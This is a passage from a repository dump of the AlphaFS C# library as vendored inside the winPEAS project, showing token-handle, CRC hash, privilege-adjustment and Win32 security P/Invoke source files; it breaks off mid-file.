    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\nusing Alphaleonis.Win32.Filesystem;\nusing Microsoft.Win32.SafeHandles;\n\nnamespace Alphaleonis.Win32\n{\n   /// <summary>Represents a wrapper class for a handle used by the Token Win32 API functions.</summary>\n   [SecurityCritical]\n   public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid\n   {\n      /// <summary>Initializes a new instance of the <see cref=\"SafeTokenHandle\"/> class.</summary>\n      public SafeTokenHandle() : base(true)\n      {\n      }\n\n\n      /// <summary>Initializes a new instance of the <see cref=\"SafeTokenHandle\"/> class.</summary>\n      /// <param name=\"handle\">The handle.</param>\n      /// <param name=\"callerHandle\"><c>true</c> [owns handle].</param>\n      public SafeTokenHandle(IntPtr handle, bool callerHandle) : base(callerHandle)\n      {\n         SetHandle(handle);\n      }\n\n\n      /// <summary>When overridden in a derived class, executes the code required to free the handle.</summary>\n      /// <returns><c>true</c> if the handle is released successfully; otherwise, in the event of a catastrophic failure, <c>false</c>. In this case, it generates a ReleaseHandleFailed Managed Debugging Assistant.</returns>\n      protected override bool ReleaseHandle()\n      {\n         return NativeMethods.CloseHandle(handle);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/CRC/Crc32.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n *\n * \n * Copyright (c) Damien Guard.  All rights reserved.\n * AlphaFS has written permission from the author to include the CRC code.\n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security.Cryptography;\n\nnamespace Alphaleonis.Win32.Security\n{\n   /// <summary>Implements a 32-bit CRC hash algorithm compatible with Zip etc.</summary>\n   /// <remarks>\n   ///   Crc32 should only be used for backward compatibility with older file formats and algorithms.\n   ///   It is not secure enough for new applications. If you need to call multiple times for the same data\n   ///   either use the HashAlgorithm interface or remember that the result of one Compute call needs to be ~ (XOR)\n   ///   before being passed in as the seed for the next Compute call.\n   /// </remarks>\n   [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Crc\")]\n   internal sealed class Crc32 : HashAlgorithm\n   {\n      private const uint DefaultPolynomial = 0xedb88320u;\n      private const uint DefaultSeed = 0xffffffffu;\n\n      private uint m_hash;\n      private readonly uint m_seed;\n      private readonly uint[] m_table;\n      private static uint[] s_defaultTable;\n      \n\n      /// <summary>Initializes a new instance of Crc32.</summary>\n      public Crc32() : this(DefaultPolynomial, DefaultSeed)\n      {\n      }\n\n\n      /// <summary>Initializes a new instance of Crc32.</summary>\n      /// <param name=\"polynomial\">The polynomial.</param>\n      /// <param name=\"seed\">The seed.</param>\n      private Crc32(uint polynomial, uint seed)\n      {\n         m_table = InitializeTable(polynomial);\n         m_seed = seed;\n         m_hash = seed;\n      }\n\n\n      /// <summary>Initializes an implementation of the <see cref=\"T:System.Security.Cryptography.HashAlgorithm\"/> class.</summary>\n      public override void Initialize()\n      {\n         m_hash = m_seed;\n      }\n\n\n      /// <summary>When overridden in a derived class, routes data written to the object into the hash algorithm for computing the hash.</summary>\n      /// <param name=\"array\">The input to compute the hash code for..</param>\n      /// <param name=\"ibStart\">The offset into the byte array from which to begin using data.</param>\n      /// <param name=\"cbSize\">The number of bytes in the byte array to use as data.</param>\n      protected override void HashCore(byte[] array, int ibStart, int cbSize)\n      {\n         m_hash = CalculateHash(m_table, m_hash, array, ibStart, cbSize);\n      }\n\n\n      /// <summary>Finalizes the hash computation after the last data is processed by the cryptographic stream object.</summary>\n      /// <returns>This method finalizes any partial computation and returns the correct hash value for the data stream.</returns>\n      protected override byte[] HashFinal()\n      {\n         var hashBuffer = UInt32ToBigEndianBytes(~m_hash);\n         HashValue = hashBuffer;\n         return hashBuffer;\n      }\n\n\n      /// <summary>Gets the size, in bits, of the computed hash code.</summary>\n      /// <value>The size, in bits, of the computed hash code.</value>\n      public override int HashSize\n      {\n         get { return 32; }\n      }\n\n\n      /// <summary>Initializes the table.</summary>\n      /// <returns>The table.</returns>\n      /// <param name=\"polynomial\">The polynomial.</param>\n      private static uint[] InitializeTable(uint polynomial)\n      {\n         if (polynomial == DefaultPolynomial && s_defaultTable != null)\n            return s_defaultTable;\n\n         var createTable = new uint[256];\n\n         for (var i = 0; i < 256; i++)\n         {\n            var entry = (uint) i;\n\n            for (var j = 0; j < 8; j++)\n               entry = (entry & 1) == 1 ? (entry >> 1) ^ polynomial : entry >> 1;\n\n            createTable[i] = entry;\n         }\n\n         if (polynomial == DefaultPolynomial)\n            s_defaultTable = createTable;\n\n         return createTable;\n      }\n\n\n      /// <summary>Calculates the hash.</summary>\n      /// <returns>The calculated hash.</returns>\n      /// <param name=\"table\">The table.</param>\n      /// <param name=\"seed\">The seed.</param>\n      /// <param name=\"buffer\">The buffer.</param>\n      /// <param name=\"start\">The start.</param>\n      /// <param name=\"size\">The size.</param>\n      private static uint CalculateHash(uint[] table, uint seed, IList<byte> buffer, int start, int size)\n      {\n         var hash = seed;\n\n         for (var i = start; i < start + size; i++)\n            hash = (hash >> 8) ^ table[buffer[i] ^ hash & 0xff];\n\n         return hash;\n      }\n\n\n      /// <summary>Int 32 to big endian bytes.</summary>\n      /// <returns>A byte[].</returns>\n      /// <param name=\"uint32\">The second uint 3.</param>\n      private static byte[] UInt32ToBigEndianBytes(uint uint32)\n      {\n         var result = BitConverter.GetBytes(uint32);\n\n         if (BitConverter.IsLittleEndian)\n            Array.Reverse(result);\n\n         return result;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/CRC/Crc64.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n *\n * \n * Copyright (c) Damien Guard.  All rights reserved.\n * AlphaFS has written permission from the author to include the CRC code.\n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security.Cryptography;\n\nnamespace Alphaleonis.Win32.Security\n{\n   /// <summary>Implements an ISO-3309 compliant 64-bit CRC hash algorithm.</summary>\n   [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Crc\")]\n   internal class Crc64 : HashAlgorithm\n   {\n      private const ulong Iso3309Polynomial = 0xD800000000000000;\n      private const ulong DefaultSeed = 0x0;\n\n\n      private ulong m_hash;\n      private readonly ulong m_seed;\n      private readonly ulong[] m_table;\n      private static ulong[] s_defaultTable;\n\n\n      /// <summary>Initializes a new instance of <see cref=\"Crc64\"/> </summary>\n      public Crc64() : this(Iso3309Polynomial, DefaultSeed)\n      {\n      }\n\n\n      /// <summary>Initializes a new instance of <see cref=\"Crc64\"/>.</summary>\n      /// <param name=\"polynomial\">The polynomial.</param>\n      /// <param name=\"seed\">The seed.</param>\n      private Crc64(ulong polynomial, ulong seed)\n      {\n         m_table = InitializeTable(polynomial);\n         m_seed = seed;\n         m_hash = seed;\n      }\n\n\n      /// <summary>Initializes an implementation of the <see cref=\"T:System.Security.Cryptography.HashAlgorithm\"/> class.</summary>\n      public override void Initialize()\n      {\n         m_hash = m_seed;\n      }\n\n\n      /// <summary>When overridden in a derived class, routes data written to the object into the hash algorithm for computing the hash.</summary>\n      /// <param name=\"array\">The input to compute the hash code for..</param>\n      /// <param name=\"ibStart\">The offset into the byte array from which to begin using data.</param>\n      /// <param name=\"cbSize\">The number of bytes in the byte array to use as data.</param>\n      protected override void HashCore(byte[] array, int ibStart, int cbSize)\n      {\n         m_hash = CalculateHash(m_hash, m_table, array, ibStart, cbSize);\n      }\n\n\n      /// <summary>Finalizes the hash computation after the last data is processed by the cryptographic stream object.</summary>\n      /// <returns>This method finalizes any partial computation and returns the correct hash value for the data stream.</returns>\n      protected override byte[] HashFinal()\n      {\n         var hashBuffer = UInt64ToBigEndianBytes(m_hash);\n         HashValue = hashBuffer;\n         return hashBuffer;\n      }\n\n      /// <summary>Gets the size, in bits, of the computed hash code.</summary>\n      /// <value>The size, in bits, of the computed hash code.</value>\n      public override int HashSize\n      {\n         get { return 64; }\n      }\n\n\n      /// <summary>Initializes the table.</summary>\n      /// <returns>The table.</returns>\n      /// <param name=\"polynomial\">The polynomial.</param>\n      private static ulong[] InitializeTable(ulong polynomial)\n      {\n         if (polynomial == Iso3309Polynomial && s_defaultTable != null)\n            return s_defaultTable;\n\n         var createTable = CreateTable(polynomial);\n\n         if (polynomial == Iso3309Polynomial)\n            s_defaultTable = createTable;\n\n         return createTable;\n      }\n\n\n      /// <summary>Creates a table.</summary>\n      /// <returns>A new array of ulong.</returns>\n      /// <param name=\"polynomial\">The polynomial.</param>\n      private static ulong[] CreateTable(ulong polynomial)\n      {\n         var createTable = new ulong[256];\n\n         for (var i = 0; i < 256; ++i)\n         {\n            var entry = (ulong)i;\n\n            for (var j = 0; j < 8; ++j)\n               entry = (entry & 1) == 1 ? (entry >> 1) ^ polynomial : entry >> 1;\n\n            createTable[i] = entry;\n         }\n\n         return createTable;\n      }\n\n\n      /// <summary>Calculates the hash.</summary>\n      /// <returns>The calculated hash.</returns>\n      /// <param name=\"seed\">The seed.</param>\n      /// <param name=\"table\">The table.</param>\n      /// <param name=\"buffer\">The buffer.</param>\n      /// <param name=\"start\">The start.</param>\n      /// <param name=\"size\">The size.</param>\n      private static ulong CalculateHash(ulong seed, ulong[] table, IList<byte> buffer, int start, int size)\n      {\n         var hash = seed;\n\n         for (var i = start; i < start + size; i++)\n            unchecked\n            {\n               hash = (hash >> 8) ^ table[(buffer[i] ^ hash) & 0xff];\n            }\n\n         return hash;\n      }\n\n\n      /// <summary>Int 64 to big endian bytes.</summary>\n      /// <returns>A byte[].</returns>\n      /// <param name=\"value\">The value.</param>\n      private static byte[] UInt64ToBigEndianBytes(ulong value)\n      {\n         var result = BitConverter.GetBytes(value);\n\n         if (BitConverter.IsLittleEndian)\n            Array.Reverse(result);\n\n         return result;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/CRC/HashType.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\n\nnamespace Alphaleonis.Win32.Security\n{\n   /// <summary>Enum containing the supported hash types.</summary>\n   public enum HashType\n   {\n      /// <summary>CRC-32 (Cyclic Redundancy Check)</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1709:IdentifiersShouldBeCasedCorrectly\", MessageId = \"CRC\")]\n      CRC32,\n\n      /// <summary>CRC-64 ISO-3309 compliant.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1709:IdentifiersShouldBeCasedCorrectly\", MessageId = \"CRC\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1709:IdentifiersShouldBeCasedCorrectly\", MessageId = \"ISO\")]\n      CRC64ISO3309,\n\n      /// <summary>MD5 (Message digest)</summary>\n      MD5,\n\n      /// <summary>RIPEMD-160 is a 160-bit cryptographic hash function. It is intended for use as a replacement for the 128-bit hash functions MD4, MD5, and RIPEMD.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1709:IdentifiersShouldBeCasedCorrectly\", MessageId = \"RIPEMD\")]\n      RIPEMD160,\n\n      /// <summary>SHA-1 (Secure Hash Algorithm)</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1709:IdentifiersShouldBeCasedCorrectly\", MessageId = \"SHA\")]\n      SHA1,\n\n      /// <summary>SHA-256 (Secure Hash Algorithm)</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1709:IdentifiersShouldBeCasedCorrectly\", MessageId = \"SHA\")]\n      SHA256,\n\n      /// <summary>SHA-384 (Secure Hash Algorithm)</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1709:IdentifiersShouldBeCasedCorrectly\", MessageId = \"SHA\")]\n      SHA384,\n\n      /// <summary>SHA-512 (Secure Hash Algorithm)</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1709:IdentifiersShouldBeCasedCorrectly\", MessageId = \"SHA\")]\n      SHA512\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/InternalPrivilegeEnabler.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Security.Principal;\n\nnamespace Alphaleonis.Win32.Security\n{\n   /// <summary>\n   /// This object is used to enable a specific privilege for the currently running process during its lifetime. \n   /// It should be disposed as soon as the elevated privilege is no longer needed.\n   /// For more information see the documentation on AdjustTokenPrivileges on MSDN.\n   /// </summary>\n   internal sealed class InternalPrivilegeEnabler : IDisposable\n   {\n      /// <summary>Initializes a new instance of the <see cref=\"PrivilegeEnabler\"/> class and enabling the specified privilege for the currently running process.</summary>\n      /// <param name=\"privilegeName\">The name of the privilege.</param>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2122:DoNotIndirectlyExposeMethodsWithLinkDemands\")]\n      [SecurityCritical]\n      public InternalPrivilegeEnabler(Privilege privilegeName)\n      {\n         if (null == privilegeName)\n            throw new ArgumentNullException(\"privilegeName\");\n\n         EnabledPrivilege = privilegeName;\n         AdjustPrivilege(true);\n      }\n\n\n      /// <summary>\n      /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.\n      /// In this case the privilege previously enabled will be disabled.\n      /// </summary>            \n      public void Dispose()\n      {\n         try\n         {\n            if (null != EnabledPrivilege)\n               AdjustPrivilege(false);\n         }\n         finally\n         {\n            EnabledPrivilege = null;\n         }\n      }\n\n\n      public Privilege EnabledPrivilege { get; private set; }\n\n\n      /// <summary>Adjusts the privilege.</summary>\n      /// <param name=\"enable\"><c>true</c> the privilege will be enabled, otherwise disabled.</param>\n      [SecurityCritical]\n      private void AdjustPrivilege(bool enable)\n      {\n         using (var currentIdentity = WindowsIdentity.GetCurrent(TokenAccessLevels.Query | TokenAccessLevels.AdjustPrivileges))\n         {\n            uint length;\n            var hToken = currentIdentity.Token;\n            var mOldPrivilege = new TOKEN_PRIVILEGES();\n\n            var newPrivilege = new TOKEN_PRIVILEGES\n            {\n               PrivilegeCount = 1,\n               Luid = Filesystem.NativeMethods.LongToLuid(EnabledPrivilege.LookupLuid()),\n\n               // 2 = SePrivilegeEnabled;\n               Attributes = (uint) (enable ? 2 : 0)\n            };\n\n\n            var success = NativeMethods.AdjustTokenPrivileges(hToken, false, ref newPrivilege, (uint) Marshal.SizeOf(mOldPrivilege), out mOldPrivilege, out length);\n\n            var lastError = Marshal.GetLastWin32Error();\n            if (!success)\n               NativeError.ThrowException(lastError);\n\n\n            // If no privilege was changed, we don't want to reset it.\n            if (mOldPrivilege.PrivilegeCount == 0)\n               EnabledPrivilege = null;\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.AdjustTokenPrivileges.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The AdjustTokenPrivileges function enables or disables privileges in the specified access token. Enabling or disabling privileges in an access token requires TOKEN_ADJUST_PRIVILEGES access.</summary>\n      /// <returns>\n      /// If the function succeeds, the return value is nonzero.\n      /// To determine whether the function adjusted all of the specified privileges, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool AdjustTokenPrivileges(IntPtr tokenHandle, [MarshalAs(UnmanagedType.Bool)] bool disableAllPrivileges, ref TOKEN_PRIVILEGES newState, uint bufferLength, out TOKEN_PRIVILEGES previousState, out uint returnLength);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.Constants.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Combines DELETE, READ_CONTROL, WRITE_DAC, and WRITE_OWNER access.</summary>\n      public const uint STANDARD_RIGHTS_REQUIRED = 983040;\n\n      /// <summary>The right to read the information in the object's security descriptor, not including the information in the system access control list (SACL).</summary>\n      public const uint STANDARD_RIGHTS_READ = 131072;\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.GetNamedSecurityInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The GetNamedSecurityInfo function retrieves a copy of the security descriptor for an object specified by name.\n      /// <para>&#160;</para>\n      /// <returns>\n      /// <para>If the function succeeds, the return value is ERROR_SUCCESS.</para>\n      /// <para>If the function fails, the return value is a nonzero error code defined in WinError.h.</para>\n      /// </returns>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Minimum supported client: Windows XP [desktop apps only]</para>\n      /// <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n      /// </remarks>\n      /// </summary>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetNamedSecurityInfoW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint GetNamedSecurityInfo([MarshalAs(UnmanagedType.LPWStr)] string pObjectName, SE_OBJECT_TYPE objectType, SECURITY_INFORMATION securityInfo, out IntPtr pSidOwner, out IntPtr pSidGroup, out IntPtr pDacl, out IntPtr pSacl, out SafeGlobalMemoryBufferHandle pSecurityDescriptor);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.GetSecurityDescriptorControl.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>The GetSecurityDescriptorControl function retrieves a security descriptor control and revision information.</summary>\n      /// <returns>\n      /// If the function succeeds, the function returns nonzero.\n      /// If the function fails, it returns zero. To get extended error information, call GetLastError.\n      /// </returns>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only]</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only]</remarks>\n      